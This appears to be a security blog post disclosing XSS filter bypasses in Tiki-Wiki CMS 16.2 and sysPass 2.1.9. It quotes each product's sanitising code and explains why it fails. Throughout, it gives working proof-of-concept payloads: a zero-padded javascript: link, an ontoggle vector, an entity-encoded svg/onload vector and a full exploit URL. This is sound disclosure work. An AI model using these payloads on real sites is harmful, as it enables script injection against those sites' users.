cdxy.me
Cyber Security / Data Science / Trading

Tiki-Wiki XSS Filter Bypass

INFO

Affected Product: Tiki-Wiki CMS v16.2
Vendor Homepage: https://tiki.org/

DESCRIPTION

XSS Filter codes:

  • https://github.com/tikiorg/tiki/blob/master/lib/core/TikiFilter/PreventXss.php#L189

Function RemoveXSSchars() will decode HTML-encoded string recursively then pass the result to RemoveXSSregexp() to match the blacklist.

for ($i = 0, $istrlen_search = strlen($search); $i < $istrlen_search; $i++) {
    // ;? matches the ;, which is optional
    // 0{0,8} matches any padded zeros,
    // which are optional and go up to 8 chars
    // &#x0040 @ search for the hex values
    $patterns[] = '/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i';
    $replacements[] = $search[$i];
    // &#00064 @ 0{0,8} matches '0' zero to eight times
    // with a ;
    $patterns[] = '/(&#0{0,8}'.ord($search[$i]).';?)/';
    $replacements[] = $search[$i];
}

The regular expression in RemoveXSSchars() can be bypassed with padding zeros more than 8.

Here I found a page to test our payloads. ("Newsletters" feature required)

  • https://github.com/tikiorg/tiki/blob/master/tiki-batch_send_newsletter.php

Input $_GET['editionId'] is filtered in class TikiFilter_PreventXss then output through echo statement.

if (!($edition_info = $nllib->get_edition($editionId))) {
    echo "Incorrect editionId: $editionId"; 
    die;
}

This normal payload will be blocked by blacklist because of "javascript".

<a href="javascript:prompt(1)">x</a>

Now we encode letter t to hex with 10+ padding zeros.

<a href="javascrip&#x0000000000000000074;:prompt(1)">x</a>

It will break the decoding loop and easily bypass the blacklist.

PoC

pic

Incomplete Blacklist

<details open ontoggle=prompt(1)>

sysPass XSS Filter Bypass

INFO

Affected Product: sysPass v2.1.9
Vendor Homepage: https://www.syspass.org/

DESCRIPTION

sysPass uses a global filter to sanitize input data:

  • https://github.com/nuxsmin/sysPass/blob/master/inc/SP/Html/Html.class.php#L40
public static function sanitize(&$data)
{
    if (empty($data)) {
        return $data;
    }

    if (is_array($data)) {
        array_walk_recursive($data, '\SP\Html\Html::sanitize');
    } else {
        $data = strip_tags($data);

        // Fix &entity\n;
        $data = str_replace(array('&amp;', '&lt;', '&gt;'), array('&amp;amp;', '&amp;lt;', '&amp;gt;'), $data);
        $data = preg_replace('/(&#*\w+)[\x00-\x20]+;/u', '$1;', $data);
        $data = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $data);
        $data = html_entity_decode($data, ENT_COMPAT, 'UTF-8');

        // Remove any attribute starting with "on" or xmlns
        $data = preg_replace('#(<[^>]+?[\x00-\x20"\'])(?:on|xmlns)[^>]*+>#iu', '$1>', $data);

        // Remove javascript: and vbscript: protocols
        $data = preg_replace('#([a-z]*)[\x00-\x20]*=[\x00-\x20]*([`\'"]*)[\x00-\x20]*j[\x00-\x20]*a[\x00-\x20]*v[\x00-\x20]*a[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2nojavascript...', $data);
        $data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*v[\x00-\x20]*b[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2novbscript...', $data);
        $data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*-moz-binding[\x00-\x20]*:#u', '$1=$2nomozbinding...', $data);

        // Only works in IE: <span style="width: expression(alert('Ping!'));"></span>
        $data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?expression[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
        $data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?behaviour[\x00-\x20]*\([^>]*+>#i', '$1>', $data);
        $data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:*[^>]*+>#iu', '$1>', $data);

        // Remove namespaced elements (we do not need them)
        $data = preg_replace('#</*\w+:\w[^>]*+>#i', '', $data);

        do {
            // Remove really unwanted tags
            $old_data = $data;
            $data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data);
        } while ($old_data !== $data);
    }

    return $data;
}

Input param $data travels through strip_tags then perform another HTML-encoding for &amp; &lt; &gt;. The next two preg_replace aims to add the semicolon to fix entity format. Finally $data is passed into html_entity_decode.

Here we can combine preg_replace and html_entity_decode to bypass strip_tags and inject HTML tags into $data.

Origin vector:

<svg onload=alert(1)>

Encoded vector:

&#x3c&#x73&#x76&#x67&#x20&#x6f&#x6e&#x6c&#x6f&#x61&#x64&#x3d&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29&#x3e

The following preg_replace aims to remove any attribute starting with "on" or "xmlns".

$data = preg_replace('#(<[^>]+?[\x00-\x20"\'])(?:on|xmlns)[^>]*+>#iu', '$1>', $data);

Here we can use a slash instead of invisible characters to bypass this regular expression.

<svg/onload=alert(1)>

The rest of preg_replace has nothing to do with our goal. So our final payload is:

http://localhost/sysPass/?%26%23x22%26%23x3e%26%23x3c%26%23x73%26%23x76%26%23x67%26%23x2f%26%23x6f%26%23x6e%26%23x6c%26%23x6f%26%23x61%26%23x64%26%23x3d%26%23x61%26%23x6c%26%23x65%26%23x72%26%23x74%26%23x28%26%23x31%26%23x29%26%23x3e

PoC

pic